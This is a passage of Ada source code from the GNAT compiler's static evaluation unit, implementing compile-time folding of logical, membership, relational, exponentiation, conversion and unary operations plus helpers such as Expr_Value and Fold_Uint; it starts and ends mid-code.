??? if Nkind (N) = N_Op_And then for J in Left_Bits'Range loop Left_Bits (J) := Left_Bits (J) and Right_Bits (J); end loop; elsif Nkind (N) = N_Op_Or then for J in Left_Bits'Range loop Left_Bits (J) := Left_Bits (J) or Right_Bits (J); end loop; else pragma Assert (Nkind (N) = N_Op_Xor); for J in Left_Bits'Range loop Left_Bits (J) := Left_Bits (J) xor Right_Bits (J); end loop; end if; Fold_Uint (N, From_Bits (Left_Bits, Etype (N))); end; else pragma Assert (Is_Boolean_Type (Etype (N))); if Nkind (N) = N_Op_And then Fold_Uint (N, Test (Is_True (Left_Int) and then Is_True (Right_Int))); elsif Nkind (N) = N_Op_Or then Fold_Uint (N, Test (Is_True (Left_Int) or else Is_True (Right_Int))); else pragma Assert (Nkind (N) = N_Op_Xor); Fold_Uint (N, Test (Is_True (Left_Int) xor Is_True (Right_Int))); end if; end if; Set_Is_Static_Expression (N, Stat); end; end Eval_Logical_Op; ------------------------ -- Eval_Membership_Op -- ------------------------ -- A membership test is potentially static if the expression is static, -- and the range is a potentially static range, or is a subtype mark -- denoting a static subtype (RM 4.9(12)). procedure Eval_Membership_Op (N : Node_Id) is Left : constant Node_Id := Left_Opnd (N); Right : constant Node_Id := Right_Opnd (N); Def_Id : Entity_Id; Lo : Node_Id; Hi : Node_Id; Result : Boolean; Stat : Boolean; Fold : Boolean; begin -- Ignore if error in either operand, except to make sure that -- Any_Type is properly propagated to avoid junk cascaded errors. if Etype (Left) = Any_Type or else Etype (Right) = Any_Type then Set_Etype (N, Any_Type); return; end if; -- Case of right operand is a subtype name if Is_Entity_Name (Right) then Def_Id := Entity (Right); if (Is_Scalar_Type (Def_Id) or else Is_String_Type (Def_Id)) and then Is_OK_Static_Subtype (Def_Id) then Test_Expression_Is_Foldable (N, Left, Stat, Fold); if not Fold or else not Stat then return; end if; else Check_Non_Static_Context (Left); return; end if; -- For string membership tests we will check the length -- further below. if not Is_String_Type (Def_Id) then Lo := Type_Low_Bound (Def_Id); Hi := Type_High_Bound (Def_Id); else Lo := Empty; Hi := Empty; end if; -- Case of right operand is a range else if Is_Static_Range (Right) then Test_Expression_Is_Foldable (N, Left, Stat, Fold); if not Fold or else not Stat then return; -- If one bound of range raises CE, then don't try to fold elsif not Is_OK_Static_Range (Right) then Check_Non_Static_Context (Left); return; end if; else Check_Non_Static_Context (Left); return; end if; -- Here we know range is an OK static range Lo := Low_Bound (Right); Hi := High_Bound (Right); end if; -- For strings we check that the length of the string expression is -- compatible with the string subtype if the subtype is constrained, -- or if unconstrained then the test is always true. if Is_String_Type (Etype (Right)) then if not Is_Constrained (Etype (Right)) then Result := True; else declare Typlen : constant Uint := String_Type_Len (Etype (Right)); Strlen : constant Uint := UI_From_Int (String_Length (Strval (Get_String_Val (Left)))); begin Result := (Typlen = Strlen); end; end if; -- Fold the membership test. We know we have a static range and Lo -- and Hi are set to the expressions for the end points of this range. elsif Is_Real_Type (Etype (Right)) then declare Leftval : constant Ureal := Expr_Value_R (Left); begin Result := Expr_Value_R (Lo) <= Leftval and then Leftval <= Expr_Value_R (Hi); end; else declare Leftval : constant Uint := Expr_Value (Left); begin Result := Expr_Value (Lo) <= Leftval and then Leftval <= Expr_Value (Hi); end; end if; if Nkind (N) = N_Not_In then Result := not Result; end if; Fold_Uint (N, Test (Result)); Warn_On_Known_Condition (N); end Eval_Membership_Op; ------------------------ -- Eval_Named_Integer -- ------------------------ procedure Eval_Named_Integer (N : Node_Id) is begin Fold_Uint (N, Expr_Value (Expression (Declaration_Node (Entity (N))))); end Eval_Named_Integer; --------------------- -- Eval_Named_Real -- --------------------- procedure Eval_Named_Real (N : Node_Id) is begin Fold_Ureal (N, Expr_Value_R (Expression (Declaration_Node (Entity (N))))); end Eval_Named_Real; ------------------- -- Eval_Op_Expon -- ------------------- -- Exponentiation is a static functions, so the result is potentially -- static if both operands are potentially static (RM 4.9(7), 4.9(20)). procedure Eval_Op_Expon (N : Node_Id) is Left : constant Node_Id := Left_Opnd (N); Right : constant Node_Id := Right_Opnd (N); Stat : Boolean; Fold : Boolean; begin -- If not foldable we are done Test_Expression_Is_Foldable (N, Left, Right, Stat, Fold); if not Fold then return; end if; -- Fold exponentiation operation declare Right_Int : constant Uint := Expr_Value (Right); begin -- Integer case if Is_Integer_Type (Etype (Left)) then declare Left_Int : constant Uint := Expr_Value (Left); Result : Uint; begin -- Exponentiation of an integer raises the exception -- Constraint_Error for a negative exponent (RM 4.5.6) if Right_Int < 0 then Apply_Compile_Time_Constraint_Error (N, "integer exponent negative"); return; else if OK_Bits (N, Num_Bits (Left_Int) * Right_Int) then Result := Left_Int ** Right_Int; else Result := Left_Int; end if; if Is_Modular_Integer_Type (Etype (N)) then Result := Result mod Modulus (Etype (N)); end if; Fold_Uint (N, Result); end if; end; -- Real case else declare Left_Real : constant Ureal := Expr_Value_R (Left); begin -- Cannot have a zero base with a negative exponent if UR_Is_Zero (Left_Real) then if Right_Int < 0 then Apply_Compile_Time_Constraint_Error (N, "zero ** negative integer"); return; else Fold_Ureal (N, Ureal_0); end if; else Fold_Ureal (N, Left_Real ** Right_Int); end if; end; end if; Set_Is_Static_Expression (N, Stat); end; end Eval_Op_Expon; ----------------- -- Eval_Op_Not -- ----------------- -- The not operation is a static functions, so the result is potentially -- static if the operand is potentially static (RM 4.9(7), 4.9(20)). procedure Eval_Op_Not (N : Node_Id) is Right : constant Node_Id := Right_Opnd (N); Stat : Boolean; Fold : Boolean; begin -- If not foldable we are done Test_Expression_Is_Foldable (N, Right, Stat, Fold); if not Fold then return; end if; -- Fold not operation declare Rint : constant Uint := Expr_Value (Right); Typ : constant Entity_Id := Etype (N); begin -- Negation is equivalent to subtracting from the modulus minus -- one. For a binary modulus this is equivalent to the ones- -- component of the original value. For non-binary modulus this -- is an arbitrary but consistent definition. if Is_Modular_Integer_Type (Typ) then Fold_Uint (N, Modulus (Typ) - 1 - Rint); else pragma Assert (Is_Boolean_Type (Typ)); Fold_Uint (N, Test (not Is_True (Rint))); end if; Set_Is_Static_Expression (N, Stat); end; end Eval_Op_Not; ------------------------------- -- Eval_Qualified_Expression -- ------------------------------- -- A qualified expression is potentially static if its subtype mark denotes -- a static subtype and its expression is potentially static (RM 4.9 (11)). procedure Eval_Qualified_Expression (N : Node_Id) is Operand : constant Node_Id := Expression (N); Target_Type : constant Entity_Id := Entity (Subtype_Mark (N)); Stat : Boolean; Fold : Boolean; begin -- Can only fold if target is string or scalar and subtype is static -- Also, do not fold if our parent is an allocator (this is because -- the qualified expression is really part of the syntactic structure -- of an allocator, and we do not want to end up with something that -- corresponds to "new 1" where the 1 is the result of folding a -- qualified expression). if not Is_Static_Subtype (Target_Type) or else Nkind (Parent (N)) = N_Allocator then Check_Non_Static_Context (Operand); return; end if; -- If not foldable we are done Test_Expression_Is_Foldable (N, Operand, Stat, Fold); if not Fold then return; -- Don't try fold if target type has constraint error bounds elsif not Is_OK_Static_Subtype (Target_Type) then Set_Raises_Constraint_Error (N); return; end if; -- Fold the result of qualification if Is_Discrete_Type (Target_Type) then Fold_Uint (N, Expr_Value (Operand)); Set_Is_Static_Expression (N, Stat); elsif Is_Real_Type (Target_Type) then Fold_Ureal (N, Expr_Value_R (Operand)); Set_Is_Static_Expression (N, Stat); else Fold_Str (N, Strval (Get_String_Val (Operand))); if not Stat then Set_Is_Static_Expression (N, False); else Check_String_Literal_Length (N, Target_Type); end if; return; end if; if Is_Out_Of_Range (N, Etype (N)) then Out_Of_Range (N); end if; end Eval_Qualified_Expression; ----------------------- -- Eval_Real_Literal -- ----------------------- -- Numeric literals are static (RM 4.9(1)), and have already been marked -- as static by the analyzer. The reason we did it that early is to allow -- the possibility of turning off the Is_Static_Expression flag after -- analysis, but before resolution, when integer literals are generated -- in the expander that do not correspond to static expressions. procedure Eval_Real_Literal (N : Node_Id) is begin -- If the literal appears in a non-expression context, then it is -- certainly appearing in a non-static context, so check it. if Nkind (Parent (N)) not in N_Subexpr then Check_Non_Static_Context (N); end if; end Eval_Real_Literal; ------------------------ -- Eval_Relational_Op -- ------------------------ -- Relational operations are static functions, so the result is static -- if both operands are static (RM 4.9(7), 4.9(20)). procedure Eval_Relational_Op (N : Node_Id) is Left : constant Node_Id := Left_Opnd (N); Right : constant Node_Id := Right_Opnd (N); Typ : constant Entity_Id := Etype (Left); Result : Boolean; Stat : Boolean; Fold : Boolean; begin -- One special case to deal with first. If we can tell that -- the result will be false because the lengths of one or -- more index subtypes are compile time known and different, -- then we can replace the entire result by False. We only -- do this for one dimensional arrays, because the case of -- multi-dimensional arrays is rare and too much trouble! if Is_Array_Type (Typ) and then Number_Dimensions (Typ) = 1 and then (Nkind (N) = N_Op_Eq or else Nkind (N) = N_Op_Ne) then if Raises_Constraint_Error (Left) or else Raises_Constraint_Error (Right) then return; end if; declare procedure Get_Static_Length (Op : Node_Id; Len : out Uint); -- If Op is an expression for a constrained array with a -- known at compile time length, then Len is set to this -- (non-negative length). Otherwise Len is set to minus 1. procedure Get_Static_Length (Op : Node_Id; Len : out Uint) is T : Entity_Id; begin if Nkind (Op) = N_String_Literal then Len := UI_From_Int (String_Length (Strval (Op))); elsif not Is_Constrained (Etype (Op)) then Len := Uint_Minus_1; else T := Etype (First_Index (Etype (Op))); if Is_Discrete_Type (T) and then Compile_Time_Known_Value (Type_Low_Bound (T)) and then Compile_Time_Known_Value (Type_High_Bound (T)) then Len := UI_Max (Uint_0, Expr_Value (Type_High_Bound (T)) - Expr_Value (Type_Low_Bound (T)) + 1); else Len := Uint_Minus_1; end if; end if; end Get_Static_Length; Len_L : Uint; Len_R : Uint; begin Get_Static_Length (Left, Len_L); Get_Static_Length (Right, Len_R); if Len_L /= Uint_Minus_1 and then Len_R /= Uint_Minus_1 and then Len_L /= Len_R then Fold_Uint (N, Test (Nkind (N) = N_Op_Ne)); Set_Is_Static_Expression (N, False); Warn_On_Known_Condition (N); return; end if; end; end if; -- Can only fold if type is scalar (don't fold string ops) if not Is_Scalar_Type (Typ) then Check_Non_Static_Context (Left); Check_Non_Static_Context (Right); return; end if; -- If not foldable we are done Test_Expression_Is_Foldable (N, Left, Right, Stat, Fold); if not Fold then return; end if; -- Integer and Enumeration (discrete) type cases if Is_Discrete_Type (Typ) then declare Left_Int : constant Uint := Expr_Value (Left); Right_Int : constant Uint := Expr_Value (Right); begin case Nkind (N) is when N_Op_Eq => Result := Left_Int = Right_Int; when N_Op_Ne => Result := Left_Int /= Right_Int; when N_Op_Lt => Result := Left_Int < Right_Int; when N_Op_Le => Result := Left_Int <= Right_Int; when N_Op_Gt => Result := Left_Int > Right_Int; when N_Op_Ge => Result := Left_Int >= Right_Int; when others => raise Program_Error; end case; Fold_Uint (N, Test (Result)); end; -- Real type case else pragma Assert (Is_Real_Type (Typ)); declare Left_Real : constant Ureal := Expr_Value_R (Left); Right_Real : constant Ureal := Expr_Value_R (Right); begin case Nkind (N) is when N_Op_Eq => Result := (Left_Real = Right_Real); when N_Op_Ne => Result := (Left_Real /= Right_Real); when N_Op_Lt => Result := (Left_Real < Right_Real); when N_Op_Le => Result := (Left_Real <= Right_Real); when N_Op_Gt => Result := (Left_Real > Right_Real); when N_Op_Ge => Result := (Left_Real >= Right_Real); when others => raise Program_Error; end case; Fold_Uint (N, Test (Result)); end; end if; Set_Is_Static_Expression (N, Stat); Warn_On_Known_Condition (N); end Eval_Relational_Op; ---------------- -- Eval_Shift -- ---------------- -- Shift operations are intrinsic operations that can never be static, -- so the only processing required is to perform the required check for -- a non static context for the two operands. -- Actually we could do some compile time evaluation here some time ??? procedure Eval_Shift (N : Node_Id) is begin Check_Non_Static_Context (Left_Opnd (N)); Check_Non_Static_Context (Right_Opnd (N)); end Eval_Shift; ------------------------ -- Eval_Short_Circuit -- ------------------------ -- A short circuit operation is potentially static if both operands -- are potentially static (RM 4.9 (13)) procedure Eval_Short_Circuit (N : Node_Id) is Kind : constant Node_Kind := Nkind (N); Left : constant Node_Id := Left_Opnd (N); Right : constant Node_Id := Right_Opnd (N); Left_Int : Uint; Rstat : constant Boolean := Is_Static_Expression (Left) and then Is_Static_Expression (Right); begin -- Short circuit operations are never static in Ada 83 if Ada_83 and then Comes_From_Source (N) then Check_Non_Static_Context (Left); Check_Non_Static_Context (Right); return; end if; -- Now look at the operands, we can't quite use the normal call to -- Test_Expression_Is_Foldable here because short circuit operations -- are a special case, they can still be foldable, even if the right -- operand raises constraint error. -- If either operand is Any_Type, just propagate to result and -- do not try to fold, this prevents cascaded errors. if Etype (Left) = Any_Type or else Etype (Right) = Any_Type then Set_Etype (N, Any_Type); return; -- If left operand raises constraint error, then replace node N with -- the raise constraint error node, and we are obviously not foldable. -- Is_Static_Expression is set from the two operands in the normal way, -- and we check the right operand if it is in a non-static context. elsif Raises_Constraint_Error (Left) then if not Rstat then Check_Non_Static_Context (Right); end if; Rewrite_In_Raise_CE (N, Left); Set_Is_Static_Expression (N, Rstat); return; -- If the result is not static, then we won't in any case fold elsif not Rstat then Check_Non_Static_Context (Left); Check_Non_Static_Context (Right); return; end if; -- Here the result is static, note that, unlike the normal processing -- in Test_Expression_Is_Foldable, we did *not* check above to see if -- the right operand raises constraint error, that's because it is not -- significant if the left operand is decisive. Set_Is_Static_Expression (N); -- It does not matter if the right operand raises constraint error if -- it will not be evaluated. So deal specially with the cases where -- the right operand is not evaluated. Note that we will fold these -- cases even if the right operand is non-static, which is fine, but -- of course in these cases the result is not potentially static. Left_Int := Expr_Value (Left); if (Kind = N_And_Then and then Is_False (Left_Int)) or else (Kind = N_Or_Else and Is_True (Left_Int)) then Fold_Uint (N, Left_Int); return; end if; -- If first operand not decisive, then it does matter if the right -- operand raises constraint error, since it will be evaluated, so -- we simply replace the node with the right operand. Note that this -- properly propagates Is_Static_Expression and Raises_Constraint_Error -- (both are set to True in Right). if Raises_Constraint_Error (Right) then Rewrite_In_Raise_CE (N, Right); Check_Non_Static_Context (Left); return; end if; -- Otherwise the result depends on the right operand Fold_Uint (N, Expr_Value (Right)); return; end Eval_Short_Circuit; ---------------- -- Eval_Slice -- ---------------- -- Slices can never be static, so the only processing required is to -- check for non-static context if an explicit range is given. procedure Eval_Slice (N : Node_Id) is Drange : constant Node_Id := Discrete_Range (N); begin if Nkind (Drange) = N_Range then Check_Non_Static_Context (Low_Bound (Drange)); Check_Non_Static_Context (High_Bound (Drange)); end if; end Eval_Slice; ------------------------- -- Eval_String_Literal -- ------------------------- procedure Eval_String_Literal (N : Node_Id) is T : constant Entity_Id := Etype (N); B : constant Entity_Id := Base_Type (T); I : Entity_Id; begin -- Nothing to do if error type (handles cases like default expressions -- or generics where we have not yet fully resolved the type) if B = Any_Type or else B = Any_String then return; -- String literals are static if the subtype is static (RM 4.9(2)), so -- reset the static expression flag (it was set unconditionally in -- Analyze_String_Literal) if the subtype is non-static. We tell if -- the subtype is static by looking at the lower bound. elsif not Is_OK_Static_Expression (String_Literal_Low_Bound (T)) then Set_Is_Static_Expression (N, False); elsif Nkind (Original_Node (N)) = N_Type_Conversion then Set_Is_Static_Expression (N, False); -- Test for illegal Ada 95 cases. A string literal is illegal in -- Ada 95 if its bounds are outside the index base type and this -- index type is static. This can hapen in only two ways. Either -- the string literal is too long, or it is null, and the lower -- bound is type'First. In either case it is the upper bound that -- is out of range of the index type. elsif Ada_95 then if Root_Type (B) = Standard_String or else Root_Type (B) = Standard_Wide_String then I := Standard_Positive; else I := Etype (First_Index (B)); end if; if String_Literal_Length (T) > String_Type_Len (B) then Apply_Compile_Time_Constraint_Error (N, "string literal too long for}", Ent => B, Typ => First_Subtype (B)); elsif String_Literal_Length (T) = 0 and then not Is_Generic_Type (I) and then Expr_Value (String_Literal_Low_Bound (T)) = Expr_Value (Type_Low_Bound (Base_Type (I))) then Apply_Compile_Time_Constraint_Error (N, "null string literal not allowed for}", Ent => B, Typ => First_Subtype (B)); end if; end if; end Eval_String_Literal; -------------------------- -- Eval_Type_Conversion -- -------------------------- -- A type conversion is potentially static if its subtype mark is for a -- static scalar subtype, and its operand expression is potentially static -- (RM 4.9 (10)) procedure Eval_Type_Conversion (N : Node_Id) is Operand : constant Node_Id := Expression (N); Source_Type : constant Entity_Id := Etype (Operand); Target_Type : constant Entity_Id := Etype (N); Stat : Boolean; Fold : Boolean; function To_Be_Treated_As_Integer (T : Entity_Id) return Boolean; -- Returns true if type T is an integer type, or if it is a -- fixed-point type to be treated as an integer (i.e. the flag -- Conversion_OK is set on the conversion node). function To_Be_Treated_As_Real (T : Entity_Id) return Boolean; -- Returns true if type T is a floating-point type, or if it is a -- fixed-point type that is not to be treated as an integer (i.e. the -- flag Conversion_OK is not set on the conversion node). function To_Be_Treated_As_Integer (T : Entity_Id) return Boolean is begin return Is_Integer_Type (T) or else (Is_Fixed_Point_Type (T) and then Conversion_OK (N)); end To_Be_Treated_As_Integer; function To_Be_Treated_As_Real (T : Entity_Id) return Boolean is begin return Is_Floating_Point_Type (T) or else (Is_Fixed_Point_Type (T) and then not Conversion_OK (N)); end To_Be_Treated_As_Real; -- Start of processing for Eval_Type_Conversion begin -- Cannot fold if target type is non-static or if semantic error. if not Is_Static_Subtype (Target_Type) then Check_Non_Static_Context (Operand); return; elsif Error_Posted (N) then return; end if; -- If not foldable we are done Test_Expression_Is_Foldable (N, Operand, Stat, Fold); if not Fold then return; -- Don't try fold if target type has constraint error bounds elsif not Is_OK_Static_Subtype (Target_Type) then Set_Raises_Constraint_Error (N); return; end if; -- Remaining processing depends on operand types. Note that in the -- following type test, fixed-point counts as real unless the flag -- Conversion_OK is set, in which case it counts as integer. -- Fold conversion, case of string type. The result is not static. if Is_String_Type (Target_Type) then Fold_Str (N, Strval (Get_String_Val (Operand))); Set_Is_Static_Expression (N, False); return; -- Fold conversion, case of integer target type elsif To_Be_Treated_As_Integer (Target_Type) then declare Result : Uint; begin -- Integer to integer conversion if To_Be_Treated_As_Integer (Source_Type) then Result := Expr_Value (Operand); -- Real to integer conversion else Result := UR_To_Uint (Expr_Value_R (Operand)); end if; -- If fixed-point type (Conversion_OK must be set), then the -- result is logically an integer, but we must replace the -- conversion with the corresponding real literal, since the -- type from a semantic point of view is still fixed-point. if Is_Fixed_Point_Type (Target_Type) then Fold_Ureal (N, UR_From_Uint (Result) * Small_Value (Target_Type)); -- Otherwise result is integer literal else Fold_Uint (N, Result); end if; end; -- Fold conversion, case of real target type elsif To_Be_Treated_As_Real (Target_Type) then declare Result : Ureal; begin if To_Be_Treated_As_Real (Source_Type) then Result := Expr_Value_R (Operand); else Result := UR_From_Uint (Expr_Value (Operand)); end if; Fold_Ureal (N, Result); end; -- Enumeration types else Fold_Uint (N, Expr_Value (Operand)); end if; Set_Is_Static_Expression (N, Stat); if Is_Out_Of_Range (N, Etype (N)) then Out_Of_Range (N); end if; end Eval_Type_Conversion; ------------------- -- Eval_Unary_Op -- ------------------- -- Predefined unary operators are static functions (RM 4.9(20)) and thus -- are potentially static if the operand is potentially static (RM 4.9(7)) procedure Eval_Unary_Op (N : Node_Id) is Right : constant Node_Id := Right_Opnd (N); Stat : Boolean; Fold : Boolean; begin -- If not foldable we are done Test_Expression_Is_Foldable (N, Right, Stat, Fold); if not Fold then return; end if; -- Fold for integer case if Is_Integer_Type (Etype (N)) then declare Rint : constant Uint := Expr_Value (Right); Result : Uint; begin -- In the case of modular unary plus and abs there is no need -- to adjust the result of the operation since if the original -- operand was in bounds the result will be in the bounds of the -- modular type. However, in the case of modular unary minus the -- result may go out of the bounds of the modular type and needs -- adjustment. if Nkind (N) = N_Op_Plus then Result := Rint; elsif Nkind (N) = N_Op_Minus then if Is_Modular_Integer_Type (Etype (N)) then Result := (-Rint) mod Modulus (Etype (N)); else Result := (-Rint); end if; else pragma Assert (Nkind (N) = N_Op_Abs); Result := abs Rint; end if; Fold_Uint (N, Result); end; -- Fold for real case elsif Is_Real_Type (Etype (N)) then declare Rreal : constant Ureal := Expr_Value_R (Right); Result : Ureal; begin if Nkind (N) = N_Op_Plus then Result := Rreal; elsif Nkind (N) = N_Op_Minus then Result := UR_Negate (Rreal); else pragma Assert (Nkind (N) = N_Op_Abs); Result := abs Rreal; end if; Fold_Ureal (N, Result); end; end if; Set_Is_Static_Expression (N, Stat); end Eval_Unary_Op; ------------------------------- -- Eval_Unchecked_Conversion -- ------------------------------- -- Unchecked conversions can never be static, so the only required -- processing is to check for a non-static context for the operand. procedure Eval_Unchecked_Conversion (N : Node_Id) is begin Check_Non_Static_Context (Expression (N)); end Eval_Unchecked_Conversion; -------------------- -- Expr_Rep_Value -- -------------------- function Expr_Rep_Value (N : Node_Id) return Uint is Kind : constant Node_Kind := Nkind (N); Ent : Entity_Id; begin if Is_Entity_Name (N) then Ent := Entity (N); -- An enumeration literal that was either in the source or -- created as a result of static evaluation. if Ekind (Ent) = E_Enumeration_Literal then return Enumeration_Rep (Ent); -- A user defined static constant else pragma Assert (Ekind (Ent) = E_Constant); return Expr_Rep_Value (Constant_Value (Ent)); end if; -- An integer literal that was either in the source or created -- as a result of static evaluation. elsif Kind = N_Integer_Literal then return Intval (N); -- A real literal for a fixed-point type. This must be the fixed-point -- case, either the literal is of a fixed-point type, or it is a bound -- of a fixed-point type, with type universal real. In either case we -- obtain the desired value from Corresponding_Integer_Value. elsif Kind = N_Real_Literal then -- Apply the assertion to the Underlying_Type of the literal for -- the benefit of calls to this function in the JGNAT back end, -- where literal types can reflect private views. pragma Assert (Is_Fixed_Point_Type (Underlying_Type (Etype (N)))); return Corresponding_Integer_Value (N); else pragma Assert (Kind = N_Character_Literal); Ent := Entity (N); -- Since Character literals of type Standard.Character don't -- have any defining character literals built for them, they -- do not have their Entity set, so just use their Char -- code. Otherwise for user-defined character literals use -- their Pos value as usual which is the same as the Rep value. if No (Ent) then return UI_From_Int (Int (Char_Literal_Value (N))); else return Enumeration_Rep (Ent); end if; end if; end Expr_Rep_Value; ---------------- -- Expr_Value -- ---------------- function Expr_Value (N : Node_Id) return Uint is Kind : constant Node_Kind := Nkind (N); Ent : Entity_Id; begin if Is_Entity_Name (N) then Ent := Entity (N); -- An enumeration literal that was either in the source or -- created as a result of static evaluation. if Ekind (Ent) = E_Enumeration_Literal then return Enumeration_Pos (Ent); -- A user defined static constant else pragma Assert (Ekind (Ent) = E_Constant); return Expr_Value (Constant_Value (Ent)); end if; -- An integer literal that was either in the source or created -- as a result of static evaluation. elsif Kind = N_Integer_Literal then return Intval (N); -- A real literal for a fixed-point type. This must be the fixed-point -- case, either the literal is of a fixed-point type, or it is a bound -- of a fixed-point type, with type universal real. In either case we -- obtain the desired value from Corresponding_Integer_Value. elsif Kind = N_Real_Literal then -- Apply the assertion to the Underlying_Type of the literal for -- the benefit of calls to this function in the JGNAT back end, -- where literal types can reflect private views. pragma Assert (Is_Fixed_Point_Type (Underlying_Type (Etype (N)))); return Corresponding_Integer_Value (N); -- Peculiar VMS case, if we have xxx'Null_Parameter, return zero elsif Kind = N_Attribute_Reference and then Attribute_Name (N) = Name_Null_Parameter then return Uint_0; -- Otherwise must be character literal else pragma Assert (Kind = N_Character_Literal); Ent := Entity (N); -- Since Character literals of type Standard.Character don't -- have any defining character literals built for them, they -- do not have their Entity set, so just use their Char -- code. Otherwise for user-defined character literals use -- their Pos value as usual. if No (Ent) then return UI_From_Int (Int (Char_Literal_Value (N))); else return Enumeration_Pos (Ent); end if; end if; end Expr_Value; ------------------ -- Expr_Value_E -- ------------------ function Expr_Value_E (N : Node_Id) return Entity_Id is Ent : constant Entity_Id := Entity (N); begin if Ekind (Ent) = E_Enumeration_Literal then return Ent; else pragma Assert (Ekind (Ent) = E_Constant); return Expr_Value_E (Constant_Value (Ent)); end if; end Expr_Value_E; ------------------ -- Expr_Value_R -- ------------------ function Expr_Value_R (N : Node_Id) return Ureal is Kind : constant Node_Kind := Nkind (N); Ent : Entity_Id; Expr : Node_Id; begin if Kind = N_Real_Literal then return Realval (N); elsif Kind = N_Identifier or else Kind = N_Expanded_Name then Ent := Entity (N); pragma Assert (Ekind (Ent) = E_Constant); return Expr_Value_R (Constant_Value (Ent)); elsif Kind = N_Integer_Literal then return UR_From_Uint (Expr_Value (N)); -- Strange case of VAX literals, which are at this stage transformed -- into Vax_Type!x_To_y(IEEE_Literal). See Expand_N_Real_Literal in -- Exp_Vfpt for further details. elsif Vax_Float (Etype (N)) and then Nkind (N) = N_Unchecked_Type_Conversion then Expr := Expression (N); if Nkind (Expr) = N_Function_Call and then Present (Parameter_Associations (Expr)) then Expr := First (Parameter_Associations (Expr)); if Nkind (Expr) = N_Real_Literal then return Realval (Expr); end if; end if; -- Peculiar VMS case, if we have xxx'Null_Parameter, return 0.0 elsif Kind = N_Attribute_Reference and then Attribute_Name (N) = Name_Null_Parameter then return Ureal_0; end if; -- If we fall through, we have a node that cannot be interepreted -- as a compile time constant. That is definitely an error. raise Program_Error; end Expr_Value_R; ------------------ -- Expr_Value_S -- ------------------ function Expr_Value_S (N : Node_Id) return Node_Id is begin if Nkind (N) = N_String_Literal then return N; else pragma Assert (Ekind (Entity (N)) = E_Constant); return Expr_Value_S (Constant_Value (Entity (N))); end if; end Expr_Value_S; -------------- -- Fold_Str -- -------------- procedure Fold_Str (N : Node_Id; Val : String_Id) is Loc : constant Source_Ptr := Sloc (N); Typ : constant Entity_Id := Etype (N); begin Rewrite (N, Make_String_Literal (Loc, Strval => Val)); Analyze_And_Resolve (N, Typ); end Fold_Str; --------------- -- Fold_Uint -- --------------- procedure Fold_Uint (N : Node_Id; Val : Uint) is Loc : constant Source_Ptr := Sloc (N); Typ : constant Entity_Id := Etype (N); begin -- For a result of type integer, subsitute an N_Integer_Literal node -- for the result of the compile time evaluation of the expression. if Is_Integer_Type (Etype (N)) then Rewrite (N, Make_Integer_Literal (Loc, Val)); -- Otherwise we have an enumeration type, and we substitute either -- an N_Identifier or N_Character_Literal to represent the enumeration -- literal corresponding to the given value, which must always be in -- range, because appropriate tests have already been made for this. else pragma Assert (Is_Enumeration_Type (Etype (N))); Rewrite (N, Get_Enum_Lit_From_Pos (Etype (N), Val, Loc)); end if; -- We now have the literal with the right value, both the actual type -- and the expected type of this literal are taken from the expression -- that was evaluated. Analyze (N); Set_Etype (N, Typ); Resolve (N, Typ); end Fold_Uint; ---------------- -- Fold_Ureal -- ---------------- procedure Fold_Ureal (N : Node_Id; Val : Ureal) is Loc : constant Source_Ptr := Sloc (N); Typ : constant Entity_Id := Etype (N); begin Rewrite (N, Make_Real_Literal (Loc, Realval => Val)); Analyze (N); -- Both the actual and expected type comes from the original expression Set_Etype (N, Typ); Resolve (N, Typ); end Fold_Ureal; --------------- -- From_Bits -- --------------- function From_Bits (B : Bits; T : Entity_Id) return Uint is V : Uint := Uint_0; begin for J in 0 .. B'Last loop if B (J) then V := V + 2 ** J; end if; end loop; if Non_Binary_Modulus (T) then V := V mod Modulus (T); end if; return V; end From_Bits; -------------------- -- Get_String_Val -- -------------------- function Get_String_Val (N : Node_Id) return Node_Id is begin if Nkind (N) = N_String_Literal then return N; elsif Nkind (N) = N_Character_Literal then return N; else pragma Assert (Is_Entity_Name (N)); return Get_String_Val (Constant_Value (Entity (N))); end if; end Get_String_Val; -------------------- -- In_Subrange_Of -- -------------------- function In_Subrange_Of (T1 : Entity_Id; T2 : Entity_Id; Fixed_Int : Boolean := False) return Boolean is L1 : Node_Id; H1 : Node_Id; L2 : Node_Id; H2 : Node_Id; begin if T1 = T2 or else Is_Subtype_Of (T1, T2) then return True; -- Never in range if both types are not scalar. Don't know if this can -- actually happen, but just in case. elsif not Is_Scalar_Type (T1) or else not Is_Scalar_Type (T1) then return False; else L1 := Type_Low_Bound (T1); H1 := Type_High_Bound (T1); L2 := Type_Low_Bound (T2); H2 := Type_High_Bound (T2); -- Check bounds to see if comparison possible at compile time if Compile_Time_Compare (L1, L2) in Compare_GE and then Compile_Time_Compare (H1, H2) in Compare_LE then return True; end if; -- If bounds not comparable at compile time, then the bounds of T2 -- must be compile time known or we cannot answer the query. if not Compile_Time_Known_Value (L2) or else not Compile_Time_Known_Value (H2) then return False; end if; -- If the bounds of T1 are know at compile time then use these -- ones, otherwise use the bounds of the base type (which are of -- course always static). if not Compile_Time_Known_Value (L1) then L1 := Type_Low_Bound (Base_Type (T1)); end if; if not Compile_Time_Known_Value (H1) then H1 := Type_High_Bound (Base_Type (T1)); end if; -- Fixed point types should be considered as such only if -- flag Fixed_Int is set to False. if Is_Floating_Point_Type (T1) or else Is_Floating_Point_Type (T2) or else (Is_Fixed_Point_Type (T1) and then not Fixed_Int) or else (Is_Fixed_Point_Type (T2) and then not Fixed_Int) then return Expr_Value_R (L2) <= Expr_Value_R (L1) and then Expr_Value_R (H2) >= Expr_Value_R (H1); else return Expr_Value (L2) <= Expr_Value (L1) and then Expr_Value (H2) >= Expr_Value (H1); end if; end if; -- If any exception occurs, it means that we have some bug in the compiler -- possibly triggered by a previous error, or by some unforseen peculiar -- occurrence. However, this is only an optimization attempt, so there is -- really no point in crashing the compiler. Instead we just decide, too -- bad, we can't figure out the answer in this case after all. exception when others => -- Debug flag K disables this behavior (useful for debugging) if Debug_Flag_K then raise; else return False; end if; end In_Subrange_Of; ----------------- -- Is_In_Range -- ----------------- function Is_In_Range (N : Node_Id; Typ : Entity_Id; Fixed_Int : Boolean := False; Int_Real : Boolean := False) return Boolean is Val : Uint; Valr : Ureal; begin -- Universal types have no range limits, so always in range. if Typ = Universal_Integer or else Typ = Universal_Real then return True; -- Never in range if not scalar type. Don't know if this can -- actually happen, but our spec allows it, so we must check! elsif not Is_Scalar_Type (Typ) then return False; -- Never in range unless we have a compile time known value. elsif not Compile_Time_Known_Value (N) then return False; else declare Lo : constant Node_Id := Type_Low_Bound (Typ); Hi : constant Node_Id := Type_High_Bound (Typ); LB_Known : constant Boolean := 